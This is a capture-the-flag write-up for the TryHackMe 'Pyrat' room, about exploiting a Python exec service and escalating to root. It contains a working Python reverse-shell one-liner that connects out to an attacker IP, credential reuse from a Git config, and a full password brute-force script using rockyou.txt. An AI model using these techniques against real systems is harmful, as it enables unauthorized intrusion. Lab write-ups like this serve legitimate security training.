Post

TryHackMe - "Pyrat"

TryHackMe - "Pyrat"

Link to the challenge

Intro

The web application (listening on port 8000) returns the sentence “Try a more basic connection” to our http requests.

Note: the web server is SimpleHTTP/0.6 Python/3.11.2. We can see this by using “curl” or burpsuite to make requests and see responses (including their header)

Since the application in its responses asks us to try a more basic connection, let’s try to make a minimal request with “netcat” command

echo "GET" | nc pyrat.tryhackme.local 8000

The response is: “name GET is not defined”. Strange!

If we execute this command:

echo "GET /" | nc pyrat.tryhackme.local 8000

…the response in this case is: “invalid syntax (, line 1)"

These two strange responses are common errors generated by a Python interpreter. To confirm this, we can send a request containing a valid Python instruction, and see it’s interpreted correctly. For example, we send the following one, which produces “hello world” output.

echo 'print("hello world")' | nc pyrat.tryhackme.local 8000

The server interprets our requests as python instructions, then we can make it execute a malicious shell (a reverse shell)

Exploit

Since the web application interprets our requests as pure python code, we can send a python script to generate a reverse shell

1
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.132.194",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' | nc pyrat.tryhackme.local 8000

Of course, in our attacker machine we need to use the respective netcat listener (on port 4445) of this tcp reverse shell, so that we can send input and receive output from the newly created shell in the target machine.

In this way we get a bash session in the victim machine, as user ‘www-data’

Privilege escalation

In order to obtain the privileges of another user (named “think”), we note one thing: in the directory /opt/dev/.git there is a repository we can view; inside it, we can read “config” file, which contains a specific Git password, but maybe this password is the same used by “think” to log into operating system. Let’s try:

su - think

We write the discovered password (we don’t spoil it), and we are logged with “think” privileges, so among other things, we can read the first flag, “user.txt”

Now we can try to do some experiments with this repository. For example, we can read the commit logs and see if there are any old files that can be useful to us, and we can view the current repository status

git log --patch

git status

Thanks to these two commands, we see that in the last commit there was a file, “pyrat.py.old”, which has been deleted. We can also notice that the file “pyrat.py.old” should be an old version of the file that manages requests to the target web application. In fact, we notice the “exec_python” instruction that is used to interpret client requests as python code.

But looking at that old python file, we also notice another endpoint (called “shell”) that allows the client to obtain a shell, and this endpoint actually works (if we had guessed it before, we could have obtained a shell without any effort, without even using our malicious script); just send “shell” string as request to the server, and a shell opens as a limited user.

We guess there are other useful endpoints, as the presence of “some_endpoints” in the python code suggests. From our client machine (attacker machine), we establish a netcat connection at port 8000, like before, and we try these random requests. We are lucky: we find “admin” endpoint.

1
2
3
4
5
6
7
8
9
10
11
12
endpoint
name 'endpoint' is not defined
some_endpoint
name 'some_endpoint' is not defined
root
name 'root' is not defined
select
name 'select' is not defined
password
name 'password' is not defined
admin
Start a fresh client to begin.

Well, we retry to establish a new netcat connection using “admin” endpoint at the beginning, and we see that this endpoint requires a password (3 attempts maximum):

1
2
3
4
admin
Password:
Password:
Password:

We implement the following python script, and we call it, in our attacker machine (client machine), to bruteforce admin password using “rockyou.txt” dictionary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket
import sys

def start_client():
    host = 'pyrat.tryhackme.local'
    port = 8000
    filepath = sys.argv[1]
    f = open(filepath, 'r', encoding='utf-8', errors='ignore')
    words = f.readlines()
    f.close()
    for word in words:
        client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client_socket.connect((host, port))
        endpoint_req = "admin\r\n"
        client_socket.send(endpoint_req.encode())
        resp1 = client_socket.recv(1024)
        client_socket.send(word.encode())
        resp2 = client_socket.recv(1024)
        resp2_str = resp2.decode()
        print(f"Word:{word}", end="")
        print(f"Response:{resp2_str}")
        if ("Password:" not in resp2_str):
            print("Password found: ", word)
            client_socket.close()
            break
        client_socket.close()
        
if __name__ == "__main__":
    start_client()

Well! The password is…. (we don’t spoil it) 😊 We write the correct password, and the server tells us: “Welcome Admin!!! Type “shell” to begin”. We type “shell” and we are logged as root, and we can read the root flag.

NOTE: we obtain root privileges because the web application runs as root in the target machine (it’s located in /root/pyrat.py): it’s implemented to grant root access if we log to “admin” endpoint successfully (and we request “shell” endpoint immediately after it, in the same connection).

This post is licensed under CC BY 4.0 by the author.

Trending Tags